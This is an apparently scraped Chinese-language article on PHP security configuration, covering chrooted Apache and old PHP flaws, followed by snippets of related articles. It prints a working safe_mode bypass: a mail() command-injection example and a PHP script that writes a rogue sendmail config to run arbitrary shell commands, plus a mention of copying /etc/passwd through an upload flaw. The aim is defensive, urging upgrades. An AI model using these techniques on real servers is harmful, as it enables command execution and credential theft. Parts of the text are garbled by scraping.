PHP安全配置 1

2021-12-29 22:13:36 字數 1689 閱讀 5856

一、web伺服器安全

php其實不過是web伺服器的乙個模組功能,所以首先要保證web伺服器的安全。當然web伺服器要安全又必須是先保證系統安全,這樣就扯遠了,無窮無盡。php可以和各種web伺服器結合,這裡也只討論apache。非常建議以chroot方式安裝啟動apache,這樣即使apache和php及其指令碼出現漏洞,受影響的也只有這個禁錮的系統,不會危害實際系統。但是使用chroot的apache後,給應用也會帶來一定的麻煩,比如連線mysql時必須用127.0.0.1位址使用tcp連線而不能用localhost實現socket連線,這在效率上會稍微差一點。還有mail函式傳送郵件也是個問題,因為php.ini裡的:

[mail function]

; for win32 only.

smtp = localhost

; for win32 only.

sendmail_from = [email protected]

都是針對win32平台,所以需要在chroot環境下調整好sendmail。

二、php本身問題

1、遠端溢位

php-4.1.2以下的所有版本都存在檔案上傳遠端緩衝區溢位漏洞,而且攻擊程式已經廣泛流傳,成功率非常高.

2、遠端拒絕服務

php-4.2.0和php-4.2.1存在php multipart/form-data post請求處理遠端漏洞,雖然不能獲得本地使用者許可權,但是也能造成拒絕服務。

3、safe_mode繞過漏洞

還有php-4.2.2以下到php-4.0.5版本都存在php mail函式繞過safe_mode限制執行命令漏洞,4.0.5版本開始mail函式增加了第五個引數,由於設計者考慮不周可以突破safe_mode的限制執行命令。其中4.0.5版本突破非常簡單,只需用分號隔開後面加shell命令就可以了,比如存在php指令碼evil.php:

mail("foo@bar,"foo","bar","",$bar); ?>

執行如下的url:

mail [email protected]

這將id執行的結果傳送給[email protected]

對於4.0.6至4.2.2的php突破safe_mode限制其實是利用了sendmail的-c引數,所以系統必須是使用sendmail。如下的**能夠突破safe_mode限制執行命令:

#注意,下面這兩個必須是不存在的,

或者它們的屬主和本指令碼的屬主是一樣

$script="/tmp/script123";

$cf="/tmp/cf123";

$fd = fopen($cf, "w");

fwrite($fd, "oq/tmp

sparse=0

r$*" . chr(9) . "$#local $@ $1 $: $1

mlocal, p=/bin/sh, a=sh $script");

fclose($fd);

$fd = fopen($script, "w");

fwrite($fd, "rm -f $script $cf; ");

fwrite($fd, $cmd);

fclose($fd);

mail("nobody", "", "", "", "-c$cf");

?>

還是使用以上有問題版本php的使用者一定要及時公升級到最新版本,這樣才能消除基本的安全問題。

PHP安全配置

繼續上傳 exit 這樣的上傳 存在讀取任意檔案和執行命令的重大問題。下面的請求可以把 etc passwd文件拷貝到web目錄 usr local apache htdocs test 注意 這個目錄必須nobody可寫 下的attack.txt檔案裡 然後可以用如下請求讀取口令檔案 攻擊者可以把...

php 配置安全設定!

安全 php 編寫是一方面,php的配置更是非常關鍵。我們php手手工安裝 的,php的預設配置檔案在 usr local apache2 conf php.ini,我們最主要就是要配置php.ini中的內容,讓我們執行 php能夠更安全。整個php中的安全設定主要是為了防止phpshell和sql...

PHP安全配置 3

5 檔案上傳 php的檔案上傳機制是把使用者上傳的檔案保留在php.ini的upload tmp dir定義的臨時目錄 預設是系統的臨時目錄,如 tmp 裡的乙個類似phpxxuoxg的隨機臨時檔案,程式履行結束,該臨時檔案也被刪除。php給上傳的檔案定義了四個變數 如form變數名是file,而且...